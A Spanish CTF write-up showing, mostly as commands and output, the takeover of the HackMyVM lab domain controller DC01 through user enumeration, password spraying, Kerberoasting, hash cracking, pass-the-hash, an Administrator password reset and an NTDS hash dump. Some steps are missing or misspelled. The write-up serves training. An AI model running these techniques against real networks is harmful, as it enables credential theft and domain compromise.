

Write-Up/Explicación paso a paso de Hackeo y Rooteo a Máquina Virtual DC01– Plataforma HackMyVm



DISCLAIMER (Autorización y alcance):

1. **Ámbito del informe:**

Este informe describe exclusivamente las actividades de evaluación de seguridad realizadas sobre la **máquina virtual “DC01”** alojada en la plataforma **HackMyVm** en un entorno de laboratorio/CTF controlado. Todas las pruebas se realizaron con un alcance limitado al sistema indicado y bajo las condiciones definidas por la plataforma.

2. **Propósito:**

El propósito del ejercicio es **educativo** y de investigación: identificar vectores de ataque, demostrar posibles impactos y proponer medidas de mitigación. No pretende explotar vulnerabilidades en sistemas ajenos ni causar daño.

3. **Autorización:**

Las técnicas y pruebas documentadas aquí deben ser aplicadas **únicamente** en sistemas para los que se disponga de **autorización explícita y por escrito** del propietario. La reproducción de estas pruebas en equipos o redes que no te pertenezcan, o sin permiso, es **ilegal** y **poco ética**.

4. Limitaciones y responsabilidad:

Ni el autor ni la institución/entidad que lo respalde asumen responsabilidad por el uso indebido del contenido de este informe. Cualquier acción realizada fuera del alcance de autorización corre por cuenta exclusiva del actor que la ejecute.

ESCANEEO INICIAL

Realizamos un escaneo inicial para localizar los puertos que se encuentran abiertos en la máquina objetivo

```
(root@kali)-[/home/phoenix/Escritorio/dc01]
# nmap -sS -p- --open -vvv -n -Pn -oN allPorts -T4 192.168.1.51
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-01 10:52 +0000
Initiating ARP Ping Scan at 10:52
Scanning 192.168.1.51 [1 port]
Completed ARP Ping Scan at 10:52, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:52
Scanning 192.168.1.51 [65535 ports]
```

```
(root@kali)-[/home/phoenix/Escritorio/dc01]
# nmap -sS -p- --open -vvv -n -Pn -oN allPorts -T4 192.168.1.51 | grep -E '^[0-9]' | cut -d '/' -f1 | paste -sd ','
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49711,49803
```

ESCANEEO EXHAUSTIVO

Una vez obtenidos los puertos que se encuentran abiertos realizamos un escaneo exhaustivo con nmap lanzando un conjunto básico de scripts de reconocimiento. Debido a los puertos que están abiertos podemos deducir que es una máquina Windows y muy probablemente nos encontramos antes un Domain Controller, por los puertos que tiene abiertos 53 (DNS), 88 (Kerberos), 135,139,445 (RPC/SMB), 389 (LDAP), 5985 WinRm, entre otros...

```
(root@kali)-[/home/phoenix/Escritorio/dc01]
# nmap -sVC -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49711,49803 -n -Pn -oN targeted 192.168.1.51
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-01 10:57 +0000
Nmap scan report for 192.168.1.51
Host is up (0.00034s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-01 19:57:44Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped
5985/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp   open  mc-nmf       .NET Message Framing
```

ENUMERACIÓN

Comenzamos a enumerar la máquina, en primer lugar conseguimos listar el nombre de la máquina y el dominio, por lo que el siguiente paso será añadirlos al /etc/hosts, para poder resolver hacia esa IP el nombre.

```

[crackmapexec smb 192.168.1.51 445 DC01] [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)

```

```
GNU nano 8.7.1
127.0.0.1      localhost
27.0.1.1      kali.Home      kali

# The following lines are desirable for IPv6 capable hosts
::1           localhost ip6-localhost ip6-loopback
ff02::1      ip6-allnodes
ff02::2      ip6-allrouters
192.168.1.51 DC01.SOUPEDECODE.LOCAL SOUPEDECODE.LOCAL
```

Como el puerto 53 se encuentra abierto, ya que los Domain Controllers funcionan como servidores DNS para las workstation del dominio, una de las primeras cosas que podemos hacer es intentar un ataque de transferencia de zona DNS, para intentar averiguar si existen subdominios, en este caso no tenemos éxito.

```
(root@kali)-[/home/phoenixx/Escritorio/dc01]
# dig SOUPEDECODE.LOCAL @192.168.1.51 AXFR

; <<>> DiG 9.20.22-1-Debian <<>> SOUPEDECODE.LOCAL @192.168.1.51 AXFR
;; global options: +cmd
; Transfer failed.
```

A continuación intentamos listar los recursos compartidos de la máquina, en primer lugar intentamos acceder con una null session, es decir sin proporcionar usuario y contraseña, sin éxito. En algunos casos es conveniente probar el usuario 'guest', y en este caso conseguimos acceso, aunque solo tenemos capacidad de lectura en IPC\$, se procede a revisar pero no se encuentra nada a priori interesante.

[illegible]

Es conveniente utilizar más herramientas así que hacemos lo propio con smbmap, para comprobar permisos

```

[root@kali:~]# /home/Phoenix/Escritorio/dc01
[*] smbmap -H 192.168.1.51 -u 'guest' -p ''

```



```

SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[*] IP: 192.168.1.51:445
Disk
ADMIN$
backup
C$
IPC$
NETLOGON
SYSVOL
Users
Name: DC01-SOUPCODECODE.LOCAL
Status: Authenticated
Permissions
Remote Admin
Default share
Remote IPC
Ligon server share
Ligon server share

```


Llegados a este punto, continuamos sin tener usuarios identificados del dominio. Otra de las opciones que podemos utilizar para enumerar usuarios válidos del dominio es RPC, el protocolo que sirve como transporte a SMB. Realizando consultas por RPC podemos llegar a enumerar usuarios, grupos y más elementos del dominio, pero en este caso no hay posibilidad de conectarse mediante rpcclient

```
(root@kali)-[/home/phoenixx/Escritorio/dc01]
# rpcclient -U "" -N 192.168.1.51
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED

(root@kali)-[/home/phoenixx/Escritorio/dc01]
# rpcclient -U "guest" -N 192.168.1.51
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE

(root@kali)-[/home/phoenixx/Escritorio/dc01]
# rpcclient -U "guest%" -N 192.168.1.51
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
```

También es posible enumerar usuarios interactuando con kerberos y realizando un ataque de fuerza bruta, en este caso se utiliza kerbrute y un diccionario con posibles usuarios, aparte de obtener administrator, admin y guest, obtenemos charlie.

```
(root@kali)-[/home/phoenixx/Escritorio/dc01]
# kerbrute userenum --dc 192.168.1.51 -d SOUPEDECODE.LOCAL allUsers.txt

Version: v1.0.3 (9dad6e1) - 05/01/26 - Ronnie Flathers @ropnop

2026/05/01 11:07:04 > Using KDC(s):
2026/05/01 11:07:04 > 192.168.1.51:88

2026/05/01 11:07:04 > [+] VALID USERNAME: Guest@SOUPEDECODE.LOCAL
2026/05/01 11:07:04 > [+] VALID USERNAME: admin@SOUPEDECODE.LOCAL
2026/05/01 11:07:04 > [+] VALID USERNAME: Admin@SOUPEDECODE.LOCAL
2026/05/01 11:07:04 > [+] VALID USERNAME: Administrator@SOUPEDECODE.LOCAL
2026/05/01 11:07:05 > [+] VALID USERNAME: Charlie@SOUPEDECODE.LOCAL
2026/05/01 11:07:05 > [+] VALID USERNAME: CHARLIE@SOUPEDECODE.LOCAL
2026/05/01 11:07:05 > [+] VALID USERNAME: charlie@SOUPEDECODE.LOCAL
2026/05/01 11:07:05 > [+] VALID USERNAME: guest@SOUPEDECODE.LOCAL
2026/05/01 11:07:05 > [+] VALID USERNAME: Guest@SOUPEDECODE.LOCAL
2026/05/01 11:07:05 > [+] VALID USERNAME: GUEST@SOUPEDECODE.LOCAL
2026/05/01 11:07:10 > Done! Tested 73535 usernames (10 valid) in 6.386 seconds
```

Otra vía potencial de enumeración de usuarios es el RID. El RID es un identificador que se incluye dentro del SID (Security Identifier, que es lo que identifica a un objeto dentro del dominio) y es posible realizar un ataque de fuerza bruta para extraer usuarios válidos del dominio: Generalmente el admin tiene como RID 500, la cuenta Guest 501, y los usuarios tienen asignado un RID de 1000 en adelante.

```

- (root@kali)-[/home/phenixx/Escritorio/dc01]
- # crackmapexec smb 192.168.1.51 -u 'guest' -p '' --rid-brute | grep "SidTypeUser" > output; cat output | awk '{print $6}' | cut -d '\\' -f2 | sponge output

```

Realizando este ataque de fuerza bruta obtenemos una lista mayor de usuarios que la obtenida con kerbrute, lista que además incluye al usuario charlie, así que seguiremos con la lista obtenida por este método

```
(root@kali)-[/home/phoenixx/Escritorio/dc01]
# cat output | grep -E '^charlie$'
charlie
```

Tenemos una lista válida de usuarios, llegados a este punto una de las opciones que se plantea es la posibilidad de hacer un AS-REProast Attack que consiste en la búsqueda de usuarios que no necesiten preautenticación con Kerberos, pedir un TGT (Ticket Granting Ticket), que viene encriptado con el hash de contraseña de la cuenta de usuario en cuestión, extraer ese hash e intentar crackearlo de manera offline. Se intenta pero no existe ninguna cuenta con estas características.

Se opta por realizar un password spraying, en este caso se ha optado en primer lugar por utilizar la misma lista de usuarios como lista de contraseñas. Siempre es recomendable ir de menor peso a mayor en cuanto a ataques de fuerza bruta, para no colapsar el servicio. En este caso encontramos que existe un usuario ‘ybob317’ el cual su contraseña es su mismo nombre de usuario.

Se comprueba si tiene acceso a recursos compartidos y si tiene la capacidad de conectarse remotamente a la máquina.

No se puede conectar remotamente a la máquina, por lo que se decide revisar en los recursos compartidos. Tiene capacidad de lectura en más directorios que la cuenta guest, pero no encontramos nada relevante en ellos.

```
(root@kali)-[/home/phenixx/Escritorio/dc01]
# crackmapexec smb 192.168.1.51 -u output -p output --continue-on-success | grep "[+]"
SMB 192.168.1.51 445 DC01 [+] SOUPEDECODE.LOCAL\ybob317:ybob317
```

```
[root@kali]~# crackmapexec smb 192.168.1.51 -u ybobj317 -p ybobj317 --shares
SMB 192.168.1.51 445 DC01 [+] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPDECODE.LOCAL) (signing:True) (SmbV1:False)
SMB 192.168.1.51 445 DC01 [+] SOUPDECODE.LOCAL\ybobj317:ybobj317
SMB 192.168.1.51 445 DC01 [+] Enumerated shares
SMB 192.168.1.51 445 DC01 Share Permissions Remark
SMB 192.168.1.51 445 DC01 -----
SMB 192.168.1.51 445 DC01 ADMIN$ Remote Admin
SMB 192.168.1.51 445 DC01 backup
SMB 192.168.1.51 445 DC01 C$ Default share
SMB 192.168.1.51 445 DC01 IPC$ Remote IPC
SMB 192.168.1.51 445 DC01 NETLOGON Logon server share
SMB 192.168.1.51 445 DC01 SYSVOL Logon server share
SMB 192.168.1.51 445 DC01 Users
```

```

[root@kali]~# ./home/phenixx/Escritorio/dc01
[*] crackmapexec winrm 192.168.1.51 -u ybob317 -p ybob317
[*] 192.168.1.51 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL)
[*] 192.168.1.51 5985 DC01 [*] http://192.168.1.51:5985/wsmn
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
[*] 192.168.1.51 5985 DC01 [*] SOUPEDECODE.LOCAL\ybob317:ybob317

```

Con un usuario válido y su contraseña se abren más posibilidades, podemos consultar la base de datos NTDS utilizando LDAP como interfaz para obtener información de todos los objetos del dominio a los que tengamos acceso.

Entre las opciones de consulta se encuentra la posibilidad de buscar cuentas que tengan asociado un SPN (Service Principal Name), ya que es posible utilizar las credenciales que ya tenemos para pedir

un TGS (Ticker Granting Service) de un servicio determinado extraer el hash de la cuenta del ticket e intentar crackearlo offline.

Previo a este paso se recomienda como se puede observar sincronizar la hora con la máquina objetivo, en un lapso no mayor de 2 minutos, para estar sincronizados con el protocolo Kerberos y que el ataque no fracase. En este caso obtenemos las cuentas que tienen un SPN asociado y al pedir con -request el ticket TGS obtenemos los hashes.

```
(root@kali)-[/home/phenixx/Escritorio/dc01]
# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName      Name                MemberOf            PasswordLastSet      LastLogon            Delegation
-----
FTP/FileServer             file_svc            2024-06-17 17:32:23.726085 <never>
FW/ProxyServer            firewall_svc        2024-06-17 17:28:32.710125 <never>
HTTP/BackupServer         backup_svc          2024-06-17 17:28:49.476511 <never>
HTTP/WebServer            web_svc            2024-06-17 17:29:04.569417 <never>
HTTPS/MonitoringServer    monitoring_svc       2024-06-17 17:29:18.511871 <never>
```

```
(root@kali)-[/home/phenixx/Escritorio/dc01]
# sudo rdate -n 192.168.1.51
Fri May 1 20:28:33 UTC 2026

(root@kali)-[/home/phenixx/Escritorio/dc01]
# sudo rdate -n 192.168.1.51
Fri May 1 20:28:37 UTC 2026

(root@kali)-[/home/phenixx/Escritorio/dc01]
# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317 -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName      Name                MemberOf            PasswordLastSet      LastLogon            Delegation
-----
FTP/FileServer             file_svc            2024-06-17 17:32:23.726085 <never>
FW/ProxyServer            firewall_svc        2024-06-17 17:28:32.710125 <never>
HTTP/BackupServer         backup_svc          2024-06-17 17:28:49.476511 <never>
HTTP/WebServer            web_svc            2024-06-17 17:29:04.569417 <never>
HTTPS/MonitoringServer    monitoring_svc       2024-06-17 17:29:18.511871 <never>

[-] CCache file is not found. Skipping...
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$662bd4b140978effd704c123c6bb05ae$7e79f3453f91e3ff260e8cd4195afbb1b1633c39c7b593193ec4a7edb13836aa21f2aa6727eb3a614500b8cc1db82d02928ae08531680f861b51eb3d0c7cf96859341af01a45c061835cf36b9ff0f15ab0205aa7b0b1f2c70eb5a5daa0d8821f1ceee17e7e715b177dc6bbe6db6b9c138ef99f00f00e2b39e01b4a44be79b481f85e307807c9c589727255871602a36f602c32a59363b0ea7f5220e661df413e222425e993c69abb57b44234c994437a0cd830195d0f2b534e97113918a017328d580ba946b615a15631dd61f18f1dd8a5c14b35f588c23ee7f7e640f8a4e54a005d394a5cd896a0791934817f04a7292a95569c57d3a8c9d67df3dd74d9a005a2c560dd0ea1361c9214de80983bec7a9b361f165fb9f5a2342e339897406b704849c47f55d897837a0722896700a95cc724031b9b1cbec4c7e793c872fc382154deeb08235b96a10617910db929af0195e7ca1e6297d9e966205d7f8a75f39cd2eede685dc2b849c265b99c9fa4010840b8335c67e18a0849c403eb043a91e151f700bf14b2a750a3d70c93d814faa2606f290a9e2c4f5041e822524aed6a1f540240b4497f3eab9356ca006f1451ce33f39591d97e1bc8d5b8cf15af831a61148d4c0311ed3a011975702f866aa29ab7bfed3d97b5c54e2bf914cbf78d2a2a3ac46b5770fb89fe2cc8496a4787b00040943a7b7b917eb0842c72dc4795c2538ff41575ba31e6add89852a3ea48f26359e8fd95917231b197e14eb88347a90e1939f4491e668a2a3f415ae7486216b80a325d5772cbaf975f20218d3e48f5b856c9aae6d01792c94ce359fd5cb2e535c862a36fcdca7d8cf1beecce2273c70d80216049a5d14688d17f00daa31032db594da50187be0cd120ff698d60ed0d29434cdcff872642160764f3b012ea81e87db6418e511624d099e35600199c620ed3d2919e8d702e17fa33ad028c79f1b3b2888c730abcbbd18adcdce898022cc702b1ef588902f0013bb5ca9002fa92a7a0c0b6c7355d029ec4481efeb088540143f267756d3a5299c34ec8a4f86cf180d193795b6c883a04c8555f776f2b5d62c5e98fe43a390802e681695f084f669180768f4d502720f5d6b85c7f8caea63fa0b08026792091f98a1e093c26635f834c730613f7aa0677f46fc87591925d6a02384f91a337b059fab911f4b7e54e22dc289261ac80b478a9e03dcef31d12a84f9956ad66a47a0fdbec573ba58561bf2a689a561efd2d0ebc89ef0a572c77959ca4643c26e26845a7a171efcb1fb037f07076ac4eeeb80bc90968177b78479e1cd4a06739e8c82b29ee135539d24fa7114d8369d6a84198a64acc54d1ef66df3c594b3f75e440f770c2ed62231b3dc10c0ee174555d1e099ee10cb1e193b51a1d9913299813ca612d04d0109c4181e561a818a14c5e5689098fdd9c1032$krb5tgs$23$*firewall_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/firewall_svc*$1959b1efe351935a3619e6b488394b19587241b1a2ae21357662c5387e29fe2178a5a7fd0271261955e4e4f09037a0a0cdc3a6b02afb32ad6b9a272e479b6e3955fa14ababcf4a88428bae55077b6c10c21205fa4e45d48ebabf10a4589cfe0564d8f8da42297808d30023c43a026cc8ab3628e328bd86a26bc287deecbc06d0966bdc2c08587fc3cd8487dbf9f031739f753631f6dc7aaab49bb8cd8f0849a33dc1b209dc43fcf2ab8f773a5186bf62534443a2aedc289c82990e9f657b655edda4806df43cb27cd5752c53a1a7cd7dbf588858f25340ac781118297cbbe16c34f1c3bbbd781eccc1100bd9f9b9c93aeae9c199c870303be62ed02c47be41e9a130657ba5e26fc1240819036870b9a806c23552b14ff321ea033274ba33f1927396dc667d6c1ee28f00b579ab077c70b15881fced9e57590a5c176c93331f48be2eff171c59d6d14a994ae9274ba0c3f45cc8f4d5b7a88ce9a8917e90983b040ef3a300bcbdd78cd17d3dcf2c35b55b9feca09b382b8a20bb6e64a182bab7fabaf5c84399fab53fab27f9ba880c25990f0a41cd28f2a2813447ee228458882a102febe645ced6c6ab5fe33471fb5185711b4a8511b25e73f079e494f8e37e1555ea2dc5f621c95199f6372843eb2fd6cc3a532cbd4125c17a984f00bba18cb2642a3397a33ed04a66606f36cb458a24ef702f3d007031fc0092403f8f485c5081048646948034f5d0be62a6bbd17ddfa50b20f8a064a19ae7ae824c8f13625e71eca9af53f0ea4c247bcb6dfcc3662209eda93c038c251cd9a0879e640f62347c905ae556e438e93adfd5939e0eae2503c7ac9f1a67124fd50281fcd179f41625f802f118186db4766a78d7d98a5ed399a671c91512f93b83e39f3e87a0d1adff8fc419c90cabacbb58ea18fc2c3d025cc2a10e35ee823f639661fd7a50dfb2d01f93cc5c910454d6367252947f0d03cd86b9df32fcd3596443fd51d4796f33871bca85179c6cf4ce98992e6d14f5a5b7c308f35ba0485c71971a8481f6a03e56c4c8090526f28cb26532a5ea72bacbddd7ae74df5d26cb3baffa1b18a15e58ed63fe3c4b2b0a3b81b878adbf7284d1e62e39603cc6b3d7dc8e54d63736cc0bb2c1819402e2d3e70385ba403b0a96748bd3c03702732b9293a6b3e8e3b8b1a14185cf99907242f7d19361064385180a3a79111bf52e9add3d4512389b88806a2417284d0863c1660589987b39a4ff4f597a725c9e05070ccdbce766a61109025546d345e0b2bbdca18502caabda884b0c8f7bcb194cdaeb350673d6dc92c8f47f44cedb338d62ee5ff08e18a9d14ff10ad51a2afaf3b0c91e8b0bc24ace3b21c3ee112da46b387a235ab4415ab0d1ce97d0e3fc605d7a8dc29e46f794480758091806995733412129d532a80d1815850384c6c6674ee2b83f8e3de6705e89df696cc1cecf0a
```

```
GNU nano 8.7.1 hashes *
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$7b99eb6b11b5e78828abd426a0890b831f86bd903f09798ebdb85c2e7fd2deecd184c8578f15cf46e8a2674c7837f7461d8106fec34d5b435ad0b
$krb5tgs$23$*firewall_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/firewall_svc*$bf3a3e71a5f5e32f7aaae63138a10606595cd03bb43ce48e2493eed0690ed1654965d7f80379b9d5e34ffbd133aeaf1d29cdf09b2e7f
$krb5tgs$23$*backup_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/backup_svc*$f9b62101638165747015123924f3c36d5f5905d2a482fe26af35eb27b3223cd6400267a3b89637e41aca547cb2ada194679abdb466e6ecb1c
$krb5tgs$23$*web_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/web_svc*$568d237348132dcfc277ba9bbdb3168fe6ba2ab9e3aa44d8484ac5fe6047d3d08f92df0d87d4840c04c3b37c0d44a6b875173ad3f9080b07b7b9
$aa52c5490a662e8c46848f9f788ce0d26d04e57f9063c39851aa0f181b6af7c088c2ad27910cdac86612d64da06878aa03f95c5aa0c9146584ac3bbf2484782c34be31ae91cb0994654f253b8da137664c1ec1eb8ce15a9cfe10d0
```

Podemos crackearlos utilizando dos herramientas diferentes, john o hashcat, en ambos casos el resultado es el mismo.

```
(root@kali)-[/home/phenixx/Escritorio/dc01]
# john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123!! (?)
1g 0:00:00:19 DONE (2026-05-01 11:33) 0.05205g/s 746681p/s 3545Kc/s 3545KC/s !!12Honey..*7iVamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```


Separamos los nombres de las cuentas por un lado y los hashes ntlm por otro (primer y cuarto campo de cada línea del archivo) y validamos ambos datos para autenticarnos contra el servicio smb

```
(root@kali)-[/home/phenixx/Escritorio/dc01]
# cat backup_extract.txt | cut -d ':' -f1 > comps ; cat backup_extract.txt | cut -d ':' -f4 > ntlm

(root@kali)-[/home/phenixx/Escritorio/dc01]
# cat comps
WebServer$
DatabaseServer$
CitrixServer$
FileServer$
MailServer$
BackupServer$
ApplicationServer$
PrintServer$
ProxyServer$
MonitoringServer$

(root@kali)-[/home/phenixx/Escritorio/dc01]
# cat ntlm
c47b45f5d4df5a494bd19f13e14f7902
406b424c7b483a42458bf6f545c936f7
48fc7eca9af236d7849273990f6c5117
e41da7e79a4c76dbd9cf79d1cb325559
46a4655f18def136b3bfab7b0b4e70e3
46a4655f18def136b3bfab7b0b4e70e3
8cd90ac6cba6dde9d8038b068c17e9f5
b8a38c432ac59ed00b2a373f4f050d28
4e3f0bb3e5b6e3e662611b1a8798881
48fc7eca9af236d7849273990f6c5117
```

Obtenemos una cuenta con capacidad de conectarse remotamente a la máquina objetivo

```
(root@kali)-[/home/phenixx/Escritorio/dc01]
# crackmapexec smb 192.168.1.51 -u comps -H ntlm | grep "[+]"
SMB 192.168.1.51 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
```

Nos conectamos vía servicio de administración remota de Windows, utilizando el hash correspondiente

```
(root@kali)-[/home/phenixx/Escritorio/dc01]
# evil-winrm -i 192.168.1.51 -u FileServer$ -H 'e41da7e79a4c76dbd9cf79d1cb325559'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FileServer$\Documents> whoami
soupedecode\fileserver$
```

Dentro de la máquina revisamos tanto permisos como grupos a los que pertenece esta cuenta

```
*Evil-WinRM* PS C:\Users\FileServer$\Documents> whoami /all

USER INFORMATION
-----
User Name      SID
-----
soupedecode\fileserver$ S-1-5-21-2986980474-46765180-2505414164-2065

GROUP INFORMATION
-----
Group Name      Type      SID      Attributes
-----
SOUPEDECODE\Domain Computers Group      S-1-5-21-2986980474-46765180-2505414164-515 Mandatory group, Enabled by default, Enabled group
Everyone        Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias      S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users   Alias      S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias      S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
SOUPEDECODE\Enterprise Admins Group      S-1-5-21-2986980474-46765180-2505414164-519 Mandatory group, Enabled by default, Enabled group
SOUPEDECODE\Denied RODC Password Replication Group Alias      S-1-5-21-2986980474-46765180-2505414164-572 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label      S-1-16-12288
```


La cuenta pertenece al grupo Enterprise Admins, con capacidad de cambiar la contraseña a cualquier usuario del dominio, incluido al Administrator. Procedemos a cambiarle la contraseña al administrador, para luego proceder y conectarnos con esa misma contraseña que hemos cambiado y sabemos

```
*Evil-WinRM* PS C:\Users\FileServer$\Documents> net user Administrator Password123!
The command completed successfully.
```

```
(root@kali)-[/home/phoenixx/Escritorio/dc01]
# evil-winrm -i 192.168.1.51 -u Administrator -p 'Password123!'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
soupedecode\administrator
```

Conseguimos leer las flags

```
*Evil-WinRM* PS C:\Users> type C:\Users\Administrator\Desktop\root.txt
a9564ebc3289b7a14551baf8ad5ec60a
*Evil-WinRM* PS C:\Users> type C:\Users\ybob317\Desktop\user.txt
6bab1f09a7403980bfeb4c2b412be47b
```

Un último paso de postexplotación es volcar toda la base de datos ntds con todos los hashes ntlm de todas las cuentas del dominio

```
(root@kali)-[/home/phoenixx/Escritorio/dc01]
# crackmapexec smb 192.168.1.51 -u Administrator -p 'Password123!' --ntds
```

```
SMB 192.168.1.51 445 DC01 PC-845:2156:aad3b435b51404eeaad3b435b51404ee:6c327b5fc96c08/860a1601b2c7b5d8::
SMB 192.168.1.51 445 DC01 PC-855:2157:aad3b435b51404eeaad3b435b51404ee:dfabcf477cecb1925c215e6527380136::
SMB 192.168.1.51 445 DC01 PC-865:2158:aad3b435b51404eeaad3b435b51404ee:8505d964e88ab06ab3dbaee94326c621::
SMB 192.168.1.51 445 DC01 PC-875:2159:aad3b435b51404eeaad3b435b51404ee:7dac655e4904d4de93abe93b6ae25622::
SMB 192.168.1.51 445 DC01 PC-885:2160:aad3b435b51404eeaad3b435b51404ee:da1e2ca9abb243a3a3ee7721de273af3::
SMB 192.168.1.51 445 DC01 PC-895:2161:aad3b435b51404eeaad3b435b51404ee:288283bc94f0b34b3b880d1b910d595c::
SMB 192.168.1.51 445 DC01 PC-905:2162:aad3b435b51404eeaad3b435b51404ee:4ec3542687ebf86562bad0c5a78b4b60::
SMB 192.168.1.51 445 DC01 [+] Dumped 1069 NTDS hashes to /root/.cme/logs/DC01_192.168.1.51_2026-05-01_114512.ntds of which 968 were added to the database
```

Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: (status=Enabled)
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (status=Enabled)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0::: (status=Disabled)
soudpedecode.local\bmak0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15::: (status=Enabled)
soudpedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6::: (status=Enabled)
soudpedecode.local\kLeo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14::: (status=Enabled)
soudpedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671::: (status=Enabled)
soudpedecode.local\pquinn4:1107:aad3b435b51404eeaad3b435b51404ee:92cdedd79a2fe7cbc8c55826b0ff2d54::: (status=Enabled)
soudpedecode.local\jharper5:1108:aad3b435b51404eeaad3b435b51404ee:800f9c9d3e4654d9bd590fc4296adf01::: (status=Enabled)
soudpedecode.local\bxenia6:1109:aad3b435b51404eeaad3b435b51404ee:d997d3309bc876f12cbb932d82b18a3::: (status=Enabled)
soudpedecode.local\gmona7:1110:aad3b435b51404eeaad3b435b51404ee:c2506dfa7572da51f9f25b603da874d4::: (status=Enabled)
soudpedecode.local\oaaron8:1111:aad3b435b51404eeaad3b435b51404ee:869e9033466cb9f7f8d0ce5a5c3305c6::: (status=Enabled)
soudpedecode.local\pleo9:1112:aad3b435b51404eeaad3b435b51404ee:54a3a0c87893e1051e6f7b629ca144ef::: (status=Enabled)
soudpedecode.local\evictor10:1113:aad3b435b51404eeaad3b435b51404ee:c918a6413865d3701a40071365fa1c3e::: (status=Enabled)
